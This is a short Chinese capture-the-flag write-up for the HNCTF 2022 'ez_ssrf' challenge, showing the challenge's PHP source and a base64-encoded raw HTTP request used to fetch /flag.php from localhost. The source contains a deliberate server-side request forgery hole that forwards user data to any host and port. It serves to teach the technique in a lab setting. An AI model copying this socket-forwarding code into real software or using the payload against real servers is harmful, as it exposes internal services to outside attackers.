[HNCTF 2022 WEEK2]ez_ssrf

步骤

代码分析

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);  //接受data参数,并base64解码。
$host=$_GET['host'];  //接收host参数
$port=$_GET['port'];    //接收port参数

$fp=fsockopen($host,intval($port),$error,$errstr,30); //建立sock连接
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);  //往目标服务器写入data
    while(!feof($data)) //接收返回的数据
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

像服务器写入访问flag.php的请求头,然后接收。

<?php

$out = "GET /flag.php HTTP/1.1\r\n";

$out .= "Host: 127.0.0.1\r\n";

$out .= "Connection: Keep-Alive\r\n\r\n";

echo $out;

echo base64_encode($out)

?>

R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg==

相关推荐
u01030552716 分钟前
Java I/O核心操作实战
人工智能·1024程序员节
紫禁玄科19 小时前
公共WiFi流量安全全解析
网络·人工智能·web安全·网络安全·系统安全
执念WRD20 小时前
VulnTarget-C 渗透实战:外网入口到域控权限提升
网络·安全·web安全·网络安全
数据知道21 小时前
主机入侵检测(HIDS):OSSEC / Wazuh 部署与规则编写
安全·网络安全·docker
其实防守也摸鱼1 天前
HackBar 工具完全指南:信息探测、漏洞验证与安全测试实战
开发语言·人工智能·学习·安全·网络安全·安全威胁分析·安全性测试
u0103055271 天前
ArrayList操作详解与实战应用
人工智能·1024程序员节
u0103055272 天前
Java模块化编程实战指南
人工智能·笔记·1024程序员节
腾霄星月2 天前
内网横向移动全套实操重点知识总结
网络·安全·网络安全
wyjcxyyy2 天前
若依框架漏洞总结
java·ctf
数据知道3 天前
容器安全入门:Docker 逃逸原理与 5 个经典 CVE
安全·网络安全·docker·容器